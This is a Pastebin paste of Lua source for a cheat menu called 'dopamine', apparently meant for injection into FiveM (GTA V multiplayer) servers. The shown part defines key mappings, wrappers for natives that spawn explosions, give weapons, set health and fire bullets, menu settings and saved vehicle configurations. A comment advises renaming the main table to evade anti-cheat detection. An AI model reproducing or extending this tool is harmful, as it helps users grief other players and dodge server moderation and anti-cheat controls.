Advertisement
BigShotDEV

dopamine

Oct 26th, 2020 (edited)
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 379.89 KB | None | 0 0
  1. local Keys = {
  2. ['ESC'] = 322, ['F1'] = 288, ['F2'] = 289, ['F3'] = 170, ['F5'] = 166, ['F6'] = 167, ['F7'] = 168, ['F8'] = 169, ['F9'] = 56, ['F10'] = 57,
  3. ['~'] = 243, ['1'] = 157, ['2'] = 158, ['3'] = 160, ['4'] = 164, ['5'] = 165, ['6'] = 159, ['7'] = 161, ['8'] = 162, ['9'] = 163, ['-'] = 84, ['='] = 83, ['BACKSPACE'] = 177,
  4. ['TAB'] = 37, ['Q'] = 44, ['W'] = 32, ['E'] = 38, ['R'] = 45, ['T'] = 245, ['Y'] = 246, ['U'] = 303, ['P'] = 199, ['['] = 39, [']'] = 40, ['ENTER'] = 18,
  5. ['CAPS'] = 137, ['A'] = 34, ['S'] = 8, ['D'] = 9, ['F'] = 23, ['G'] = 47, ['H'] = 74, ['K'] = 311, ['L'] = 182,
  6. ['LEFTSHIFT'] = 21, ['Z'] = 20, ['X'] = 73, ['C'] = 26, ['V'] = 0, ['B'] = 29, ['N'] = 249, ['M'] = 244, [','] = 82, ['.'] = 81,
  7. ['LEFTCTRL'] = 36, ['LEFTALT'] = 19, ['SPACE'] = 22, ['RIGHTCTRL'] = 70,
  8. ['HOME'] = 213, ['PAGEUP'] = 10, ['PAGEDOWN'] = 11, ['DELETE'] = 178,
  9. ['LEFT'] = 174, ['RIGHT'] = 175, ['TOP'] = 27, ['UP'] = 172, ['DOWN'] = 173,
  10. ['NENTER'] = 201, ['N4'] = 108, ['N5'] = 60, ['N6'] = 107, ['N+'] = 96, ['N-'] = 97, ['N7'] = 117, ['N8'] = 61, ['N9'] = 118,
  11. ['MOUSE1'] = 24
  12. }
  13.  
  14. local old_print = print
  15. local function dir_print(trash)
  16. old_print('[d0pamine] '..trash)
  17. end
  18.  
  19. local function intToFloat(_value)
  20. if _value then
  21. return _value + .0;
  22. else
  23. return 5391.0;
  24. end
  25. end
  26.  
  27. local pCreateThread = Citizen.CreateThread
  28. local pWait = Citizen.Wait
  29. local pInvoke = Citizen.InvokeNative
  30.  
  31. local p_tostring = function(num)
  32. if num == 0 or not num then
  33. return nil
  34. end
  35. return tostring(num)
  36. end
  37.  
  38. local Dopamine = { --[[rename `Dopamine` to whatever the fuck you want and ez undetek]]
  39. shouldShowMenu = true,
  40. debug = false,
  41. natives = {
  42. getCurrentServerEndpoint = function() --[[GetCurrentServerEndpoint]]
  43. return (pInvoke(" 0xea11bfba ", Citizen.ReturnResultAnyway(), Citizen.ResultAsString()))
  44. end,
  45. getCurrentResourceName = function() --[[GetCurrentResourceName]]
  46. return (pInvoke(" 0xe5e9ebbb ", Citizen.ReturnResultAnyway(), Citizen.ResultAsString()))
  47. end,
  48. getActivePlayers = function() --[[GetActivePlayers]]
  49. return (msgpack.unpack(pInvoke(" 0xcf143fb9 ", Citizen.ReturnResultAnyway(), Citizen.ResultAsObject())))
  50. end,
  51. clearPedTasksImmediately = function(ped) --[[ClearPedTasksImmediately]]
  52. return (pInvoke(" 0xAAA34F8A7CB32098 ", ped))
  53. end,
  54. addTextComponentSubstringPlayerName = function(text) --[[AddTextComponentSubstringPlayerName]]
  55. return (pInvoke(" 0x6C188BE134E074AA ", tostring(text)))
  56. end,
  57. beginTextCommandDisplayText = function(text) --[[BeginTextCommandDisplayText / SetTextEntry]]
  58. return (pInvoke(" 0x25FBB336DF1804CB ", tostring(text)))
  59. end,
  60. endTextCommandDisplayText = function(x, y) --[[EndTextCommandDisplayText / DrawText]]
  61. return (pInvoke(" 0xCD015E5BB0D96A57 ", x, y))
  62. end,
  63. loadResourceFile = function(resourceName, fileName) --[[LoadResourceFile]]
  64. return (pInvoke(" 0x76a9ee1f ", tostring(resourceName), tostring(fileName), Citizen.ReturnResultAnyway(), Citizen.ResultAsString()))
  65. end,
  66. createObject = function(modelHash, x, y, z, isNetwork, netMissionEntity, dynamic) --[[CreateObject]]
  67. return (pInvoke(" 0x509D5878EB39E842 ", modelHash, x, y, z, isNetwork, thisScriptCheck, dynamic, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
  68. end,
  69. drawRect = function(x, y, width, height, r, g, b, a) --[[DrawRect]]
  70. return (pInvoke(" 0x3A618A217E5154F0 ", x, y, width, height, r, g, b, a))
  71. end,
  72. addExplosion = function(x, y, z, explosionType, damageScale, isAudible, isInvisible, cameraShake) --[[AddExplosion]]
  73. return (pInvoke(" 0xE3AD2BDBAEE269AC ", x, y, z, explosionType, damageScale, isAudible, isInvisible, cameraShake))
  74. end,
  75. networkExplodeVehicle = function(vehicle, isAudible, isInvisible, p3) --[[NetworkExplodeVehicle]]
  76. return (pInvoke(" 0x301A42153C9AD707 ", vehicle, isAudible, isInvisible, p3, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
  77. end,
  78. giveWeaponToPed = function(ped, weaponHash, ammoCount, isHidden, equipNow) --[[GiveWeaponToPed]]
  79. return (pInvoke(" 0xBF0FD6E56C964FCB ", ped, weaponHash, ammoCount, isHidden, equipNow))
  80. end,
  81. addTextEntry = function(entryKey, entryText) --[[AddTextEntry]]
  82. return (pInvoke(" 0x32ca01c3 ", tostring(entryKey), tostring(entryText)))
  83. end,
  84. displayOnscreenKeyboard = function(p0, windowTitle, p2, defaultText, defaultConcat1, defaultConcat2, defaultConcat3, maxInputLength) --[[DisplayOnscreenKeyboard]]
  85. return (pInvoke(" 0x00DC833F2568DBF6 ", p0, tostring(windowTitle), tostring(p2), tostring(defaultText), tostring(defaultConcat1), tostring(defaultConcat2), tostring(defaultConcat3), maxInputLength))
  86. end,
  87. updateOnscreenKeyboard = function() --[[UpdateOnscreenKeyboard]]
  88. return (pInvoke(" 0x0CF2B696BBF945AE ", Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
  89. end,
  90. getVehicleXenonLightsColour = function(vehicle) --[[GetVehicleXenonLightsColour]]
  91. return (pInvoke(" 0x3DFF319A831E0CDB ", vehicle, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
  92. end,
  93. setVehicleXenonLightsColour = function(vehicle, color) --[[SetVehicleXenonLightsColour]]
  94. return (pInvoke(" 0xE41033B25D003A07 ", vehicle, color))
  95. end,
  96. doesExtraExist = function(vehicle, extraId) --[[DoesExtraExist]]
  97. return (pInvoke(" 0x1262D55792428154 ", vehicle, extraId, Citizen.ReturnResultAnyway()))
  98. end,
  99. setEntityVisible = function(entity, toggle, unk) --[[SetEntityVisible]]
  100. return (pInvoke(" 0xEA1C610A04DB6BBB ", entity, toggle, unk))
  101. end,
  102. createVehicle = function(modelHash, x, y, z, heading, isNetwork, thisScriptCheck) --[[CreateVehicle]]
  103. return (pInvoke(" 0xAF35D0D2583051B0 ", modelHash, x, y, z, heading, isNetwork, thisScriptCheck, Citizen.ReturnResultAnyway(), Citizen.ResultAsInteger()))
  104. end,
  105. setEntityCoords = function(entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) --[[SetEntityCoords]]
  106. return (pInvoke(" 0x06843DA7060A026B ", entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea))
  107. end,
  108. setEntityCoordsNoOffset = function(entity, xPos, yPos, zPos, xAxis, yAxis, zAxis) --[[SetEntityCoordsNoOffset]]
  109. return (pInvoke(" 0x239A3351AC1DA385 ", entity, xPos, yPos, zPos, xAxis, yAxis, zAxis))
  110. end,
  111. shootSingleBulletBetweenCoords = function(x1, y1, z1, x2, y2, z2, damage, p7, weaponHash, ownerPed, isAudible, isInvisible, speed) --[[ShootSingleBulletBetweenCoords]]
  112. return (pInvoke(" 0x867654CBC7606F2C ", x1, y1, z1, x2, y2, z2, damage, p7, GetHashKey(weaponHash), ownerPed, isAudible, isInvisible, speed))
  113. end,
  114. setEntityHealth = function(entity, health) --[[SetEntityHealth]]
  115. return (pInvoke(" 0x6B76DC1F3AE6E6A3 ", entity, health))
  116. end,
  117. setPedArmour = function(ped, amount) --[[SetPedArmour]]
  118. return (pInvoke(" 0xCEA04D83135264CC ", ped, amount))
  119. end,
  120. setTextFont = function(fontType) --[[SetTextFont]]
  121. return (pInvoke(" 0x66E0276CC5F6B9DA ", fontType))
  122. end,
  123. setTextColour = function(red, green, blue, alpha) --[[SetTextColour]]
  124. return (pInvoke(" 0xBE6B23FFA53FB442 ", red, green, blue, alpha))
  125. end,
  126. setTextScale = function(scale, size) --[[SetTextScale]]
  127. return (pInvoke(" 0x07C837F9A01C34C9 ", scale, size))
  128. end,
  129. setTextDropShadow = function() --[[SetTextDropShadow]]
  130. return (pInvoke(" 0x1CA3E9EAC9D93E5E "))
  131. end,
  132. playSoundFrontend = function(soundId, audioName, audioRef, p3) --[[PlaySoundFrontend]]
  133. return (pInvoke(" 0x67C540AA08E4A6F5 ", soundId, tostring(audioName), tostring(audioRef), p3))
  134. end,
  135. requestStreamedTextureDict = function(textureDict, p1) --[[RequestStreamedTextureDict]]
  136. return (pInvoke(" 0xDFA2EF8E04127DD5 ", tostring(textureDict), p1))
  137. end,
  138. setTextProportional = function(p0) --[[SetTextProportional]]
  139. return (pInvoke(" 0x038C1F517D7FDCF8 ", p0))
  140. end,
  141. setTextOutline = function() --[[SetTextOutline]]
  142. return (pInvoke(" 0x2513DFB0FB8400FE "))
  143. end,
  144. isDisabledControlPressed = function(inputGroup, control) --[[IsDisabledControlPressed]]
  145. return (pInvoke(" 0xE2587F8CBBD87B1D ", inputGroup, control, Citizen.ReturnResultAnyway()))
  146. end,
  147. setArtificialLightsState = function(state)
  148. return (pInvoke(" 0x1268615ACE24D504 ", state))
  149. end
  150. },
  151. menuProps = {
  152. shitMenus = {},
  153. keys = { up = Keys['UP'], down = Keys['DOWN'], left = Keys['LEFT'], right = Keys['RIGHT'], select = Keys['NENTER'], back = 202 },
  154. optionCount = 0,
  155. maximumOptionCount = 12,
  156.  
  157. currentKey = nil,
  158. currentMenu = nil,
  159.  
  160. titleHeight = 0.11,
  161. titleYOffset = 0.05,
  162. titleXOffset = 0.5,
  163. titleScale = 1.0,
  164. titleSpacing = 2,
  165.  
  166. buttonHeight = 0.038,
  167. buttonFont = 0,
  168. buttonScale = 0.365,
  169.  
  170. _mVersion = 'b1.3.9',
  171. buttonTextYOffset = 0.005,
  172. buttonTextXOffset = 0.005,
  173.  
  174. selectedThemeRainbow = false,
  175. selectedCheckboxStyle = 'New',
  176. availableCheckboxStyles = {'New', 'Old'},
  177. menu_TextOutline = false,
  178. menu_TextDropShadow = true,
  179. menu_RectOverlay = true,
  180.  
  181. selectedTheme = 'Classic',
  182. availableThemes = {'Dark', 'Light', 'Classic'},
  183. rainbowInt = 0,
  184. },
  185. functions = {},
  186. trashFunctions = {},
  187. trashTables = {},
  188. menus_list = {},
  189. cachedNotifications = {},
  190.  
  191. datastore = {
  192. pLocalPlayer = {
  193. cVehicle = 0,
  194. pedId = 0,
  195.  
  196. should2stepAutist = false,
  197. },
  198.  
  199. es_extended = nil,
  200. ESX = nil,
  201.  
  202. trainRide = {
  203. handleHasLoaded = true,
  204. handle = nil,
  205. oldCoords = nil,
  206. trainSpeed = 5.0,
  207. },
  208.  
  209. savedVehicles = {
  210. {name = 'Nertigel\'s Elegy Retro Custom', props = {["modDashboard"] = 1,["modTransmission"] = 2,["modLivery"] = 4,["modFrame"] = 4,["modWindows"] = 0,["modTank"] = 1,["dirtLevel"] = 10.8,["modArmor"] = 4,["wheels"] = 0,["modFrontWheels"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modBrakes"] = 2,["modPlateHolder"] = 0,["modArchCover"] = -1,["wheelColor"] = 134,["pearlescentColor"] = 12,["modVanityPlate"] = 2,["modStruts"] = 11,["bodyHealth"] = 1000.0,["modAirFilter"] = 1,["modEngineBlock"] = 1,["modRightFender"] = -1,["modFender"] = 1,["modHydrolic"] = -1,["modAerials"] = 6,["modSpeakers"] = -1,["modSuspension"] = 3,["modTrimA"] = 0,["modEngine"] = 3,["modShifterLeavers"] = -1,["modSteeringWheel"] = 9,["modSeats"] = 0,["model"] = 196747873,["color1"] = 12,["modRearBumper"] = 1,["modDoorSpeaker"] = 4,["modSpoilers"] = 2,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["windowTint"] = 1,["plateIndex"] = 1,["modGrille"] = 0,["modTrunk"] = -1,["modAPlate"] = -1,["engineHealth"] = 1000.0,["modXenon"] = 1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modHorns"] = -1,["modHood"] = 4,["fuelLevel"] = 65.0,["modTurbo"] = 1,["modBackWheels"] = -1,["modRoof"] = 0,["modOrnaments"] = -1,["extras"] = { } ,["modTrimB"] = 0,["modFrontBumper"] = -1,["modExhaust"] = 2,["color2"] = 12,["modDial"] = 2,["xenonColor"] = 255,["modSideSkirt"] = 4,}},
  211. {name = 'Nertigel\'s Jester Classic', props = {["modFrame"] = 2,["modTransmission"] = 2,["modRoof"] = 0,["modLivery"] = 1,["color1"] = 12,["modWindows"] = -1,["modTank"] = -1,["modSideSkirt"] = 0,["modSpeakers"] = -1,["wheels"] = 0,["modAerials"] = -1,["dirtLevel"] = 6.2,["modArchCover"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modStruts"] = -1,["modBackWheels"] = -1,["engineHealth"] = 1000.0,["modSuspension"] = 4,["modTurbo"] = 1,["modAirFilter"] = -1,["modEngineBlock"] = -1,["modHydrolic"] = -1,["modOrnaments"] = -1,["modEngine"] = 3,["modHood"] = 2,["fuelLevel"] = 65.0,["modTrunk"] = -1,["modRightFender"] = -1,["modTrimB"] = -1,["modFrontBumper"] = 8,["modShifterLeavers"] = -1,["wheelColor"] = 12,["model"] = -214906006,["modFrontWheels"] = 8,["windowTint"] = 1,["bodyHealth"] = 1000.0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSeats"] = -1,["modHorns"] = -1,["modRearBumper"] = -1,["modDoorSpeaker"] = -1,["modBrakes"] = 2,["modDial"] = -1,["modSmokeEnabled"] = 1,["modGrille"] = -1,["modFender"] = 0,["modTrimA"] = -1,["modVanityPlate"] = -1,["modPlateHolder"] = -1,["plateIndex"] = 1,["modSteeringWheel"] = -1,["modXenon"] = 1,["color2"] = 12,["modArmor"] = 4,["modDashboard"] = -1,["pearlescentColor"] = 12,["extras"] = { } ,["modExhaust"] = 3,["modAPlate"] = -1,["xenonColor"] = 255,["modSpoilers"] = 0,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,}},
  212. {name = 'Nertigel\'s Schwartzer', props = {["color2"] = 12,["modBackWheels"] = -1,["bodyHealth"] = 1000.0,["modLivery"] = -1,["modArchCover"] = -1,["wheelColor"] = 12,["modTank"] = -1,["modXenon"] = 1,["modAerials"] = -1,["modOrnaments"] = -1,["modWindows"] = -1,["modStruts"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modAirFilter"] = -1,["modEngineBlock"] = -1,["modHydrolic"] = -1,["modFender"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["dirtLevel"] = 5.1,["modArmor"] = 4,["modHorns"] = -1,["modAPlate"] = -1,["modTrunk"] = -1,["modShifterLeavers"] = -1,["modPlateHolder"] = -1,["model"] = -746882698,["modSpeakers"] = -1,["extras"] = { ["10"] = false,["12"] = false,} ,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modHood"] = -1,["modRoof"] = -1,["modEngine"] = 3,["modTrimA"] = -1,["modFrame"] = 0,["modFrontBumper"] = 1,["modExhaust"] = 2,["modSteeringWheel"] = -1,["modFrontWheels"] = 25,["color1"] = 12,["modTrimB"] = -1,["modSmokeEnabled"] = 1,["windowTint"] = 1,["modSeats"] = -1,["fuelLevel"] = 65.0,["modSpoilers"] = 0,["modSuspension"] = 2,["modTransmission"] = 2,["plateIndex"] = 1,["modBrakes"] = 2,["modDashboard"] = -1,["modRightFender"] = -1,["wheels"] = 7,["modSideSkirt"] = 0,["modDial"] = -1,["modRearBumper"] = 0,["modGrille"] = 0,["modVanityPlate"] = -1,["modDoorSpeaker"] = -1,["pearlescentColor"] = 12,["xenonColor"] = 255,["modTurbo"] = 1,["engineHealth"] = 1000.0,}},
  213.  
  214. {name = 'Alfa Romeo Giulia QV', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = 433374210,["extras"] = { ["11"] = true,} ,["modTurbo"] = 1,["suspensionRaise"] = 2.2351741291171e-10,["dirtLevel"] = 6.8,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 4,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 31,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 1,["wheelColor"] = 156,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = -1,}},
  215.  
  216. {name = 'Aston Martin DBS 2008', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -1131896028,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.019999995827675,["dirtLevel"] = 3.8,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = 9,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 2,["wheels"] = 7,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 83,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = -1,}},
  217.  
  218. {name = 'Bentley Bentayga 2017', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.060000006109476,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 12.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 1728797204,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 156,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = false,["2"] = false,["10"] = false,["3"] = false,["4"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 3,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 1,["color2"] = 2,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = -1,["modAerials"] = -1,}},
  219. {name = 'Bentley Continental GT 2013', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = -1,["suspensionRaise"] = -0.03999999910593,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 8.0,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 899312186,["modAPlate"] = -1,["modHood"] = -1,["wheelColor"] = 122,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 0,["color2"] = 88,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
  220.  
  221. {name = 'Audi A4 Quattro', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -985643932,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.019999999552965,["dirtLevel"] = 6.1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 0,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 14,["modExhaust"] = 0,["modRoof"] = 0,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 156,["modEngineBlock"] = -1,["modRearBumper"] = 0,["modVanityPlate"] = -1,["modFrontBumper"] = 0,}},
  222. {name = 'Audi A6 2020', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -494839908,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.059999998658895,["dirtLevel"] = 0.0,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = 3,["modHood"] = 4,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = 2,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = 2,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 4,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 112,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = 5,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = 5,["color1"] = 134,["modExhaust"] = 1,["modRoof"] = 1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = 1,["plateIndex"] = 4,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = 1,["modVanityPlate"] = -1,["modFrontBumper"] = 3,}},
  223. {name = 'Audi Q8 2020', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -2006731729,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.019999995827675,["dirtLevel"] = 0.0,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 0,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 2,["wheels"] = 3,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 4,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 134,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 112,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = -1,}},
